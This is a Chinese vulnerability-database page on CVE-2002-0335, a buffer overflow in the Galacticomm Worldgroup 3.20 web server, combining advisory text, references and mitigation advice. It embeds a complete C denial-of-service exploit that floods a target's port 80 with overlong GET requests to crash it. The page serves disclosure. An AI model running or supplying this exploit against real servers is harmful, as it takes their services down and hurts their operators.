CVE-2002-0335
CVSS10.0
发布时间 :2002-06-25 00:00:00
修订时间 :2016-10-17 22:19:23
NMCOES    

[原文]Buffer overflow in Galacticomm Worldgroup web server 3.20 and earlier allows remote attackers to cause a denial of service, and possibly execute arbitrary code, via a long HTTP GET request.


[CNNVD]Galacticomm Worldgroup WEB Server远程拒绝服务漏洞(CNNVD-200206-082)

        
        Galacticomm Worldgroup是种微软平台上的商业软件包,提供WEB、FTP等服务。
        据报告,其中的WEB Server在处理GET请求时,如果后续的字符串超长,将导致WEB Server崩溃,必须重启WEB Server才能恢复正常。3.20以前的版本可能存在同样问题。
        

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:galacticomm_technologies:worldgroup:3.20
cpe:/a:galacticomm_technologies:worldgroup_lite_personal_server:3.20

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0335
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-0335
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200206-082
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=101484128203523&w=2
(UNKNOWN)  BUGTRAQ  20020227 LBYTE&SECURITY.NNOV: Buffer overflows in Worldgroup
http://www.iss.net/security_center/static/8298.php
(VENDOR_ADVISORY)  XF  worldgroup-http-get-bo(8298)
http://www.securityfocus.com/bid/4186
(VENDOR_ADVISORY)  BID  4186

- 漏洞信息

Galacticomm Worldgroup WEB Server远程拒绝服务漏洞
危急 其他
2002-06-25 00:00:00 2005-10-20 00:00:00
远程  
        
        Galacticomm Worldgroup是种微软平台上的商业软件包,提供WEB、FTP等服务。
        据报告,其中的WEB Server在处理GET请求时,如果后续的字符串超长,将导致WEB Server崩溃,必须重启WEB Server才能恢复正常。3.20以前的版本可能存在同样问题。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 如果有防火墙保护服务器,在防火墙上设置规则过滤掉超长的请求。
        厂商补丁:
        Galacticomm
        -----------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.gcomm.com/index.htm

- 漏洞信息 (21306)

Galacticomm Worldgroup 3.20 Remote Web Server Denial of Service Vulnerability (EDBID:21306)
windows remote
2002-02-27 Verified
0 Limpid Byte
N/A [点击下载]
source: http://www.securityfocus.com/bid/4186/info

Galacticomm Worldgroup is a community building package of both client and server software for Microsoft Windows. Worldgroup is based on BBS software, and includes web and ftp servers.

A vulnerability has been reported in the web server included with Worldgroup. If a HTTP GET request is received by the server consisting of a long string of arbitrary characters, the server will crash. A restart may be required in order to regain normal functionality.

Earlier versions of Worldgroup may share this vulnerability. 

/*
        by Limpid Byte project
        http://lbyte.void.ru
        lbyte@host.sk

Worldgroup Server Denial of Service for
Windows 9x/ME only.
Error between system fuction windows and
worldgroup from web interface.
REGUEST:
GET /signup/a.[aaaaaaaa....aaaa]

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock.h>

#define FOUND "200"

int main(int argc, char *argv[])
{
        int sock, count;
        struct sockaddr_in blah;
        struct hostent *he;
        char cgiBuff[1024];
        WSADATA wsaData;

        if (argc < 2)
        {
                printf("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nThis program crash Worldgroup servers 3.20 for windows 95/98/ME.\n");
                printf("Greets to [WhU]//[GiN]//[LByte]//[WGHACK] projects!\n\n");
                printf(" USAGE   : www_dos.exe [HOST] \n");
                printf(" example : www_dos.exe 127.0.0.1 \n");
                exit(1);
        }

        if(WSAStartup(0x101,&wsaData))
        {
                printf("Unable to initialize WinSock lib.\n");
                exit(1);
        }
        printf("Let's crash the World!\n");
        printf("Coded by the [eaSt]:\n");
        printf("\nScanning %s on port 80...\n\n", argv[1]);

        for (count = 0; count < 94; count++)
        {
                sock = socket(AF_INET,SOCK_STREAM,0);
                blah.sin_family=AF_INET;
                blah.sin_addr.s_addr=inet_addr(argv[1]);
                blah.sin_port=htons(80);
                if ((he = gethostbyname(argv[1])) != NULL)
                {
                        memcpy((char *)&blah.sin_addr, he->h_addr, he->h_length);
                }
                else
                {
                        if ((blah.sin_addr.s_addr = inet_addr(argv[1]))==INADDR_NONE)
                    {
                                WSACleanup();
                                exit(1);
                        }
                }

                if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))!=0)
                {
                        WSACleanup();
                        exit(1);
                }

                memset(cgiBuff, 0, sizeof(cgiBuff));
                sprintf(cgiBuff, "GET /signup/");
                memset(cgiBuff + 12, 'a', 219 + count);
                sprintf(cgiBuff + 12 + 219 + count, ".txt?=../test.txt HTTP/1.0\n\n");
                printf("Sending: %d symbols request\n", strlen(cgiBuff));

                send(sock,cgiBuff,strlen(cgiBuff),0);
                memset(cgiBuff, 0, sizeof(cgiBuff));
                if(!recv(sock,cgiBuff,sizeof(cgiBuff),0)) {
                        printf("Crashed\n");
                }
                else {
                        cgiBuff[32] = 0;
                        if (strstr(cgiBuff,FOUND))
                        {
                                printf("Send (%s)\n", cgiBuff);
                        }
                        else
                        {
                                printf("Not Found (%s)\n", cgiBuff);
                        }
                }

                closesocket(sock);
        }

        printf("Try reconnect to %s\n", argv[1]);
        WSACleanup();
        return 0;
}
		

- 漏洞信息

14407
Galacticomm Worldgroup Web Server Crafted HTTP GET Request Parsing Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public Third-party Verified

- 漏洞描述

- 时间线

2002-02-27 Unknow
2002-02-27 Unknow

- 解决方案

Upgrade to version 4.0 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Galacticomm Worldgroup Remote Web Server Denial of Service Vulnerability
Failure to Handle Exceptional Conditions 4186
Yes No
2002-02-27 12:00:00 2009-07-11 10:56:00
Discovered by the Limpid Byte team <lbyte@host.sk> (http://lbyte.void.ru).

- 受影响的程序版本

Galacticomm Worldgroup LITE Personal Server 3.20
Galacticomm Worldgroup Enterprise Edition 3.20

- 漏洞讨论

Galacticomm Worldgroup is a community building package of both client and server software for Microsoft Windows. Worldgroup is based on BBS software, and includes web and ftp servers.

A vulnerability has been reported in the web server included with Worldgroup. If a HTTP GET request is received by the server consisting of a long string of arbitrary characters, the server will crash. A restart may be required in order to regain normal functionality.

Earlier versions of Worldgroup may share this vulnerability.

- 漏洞利用

An exploit has been provided by the Limpid Byte team:

- 解决方案

Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站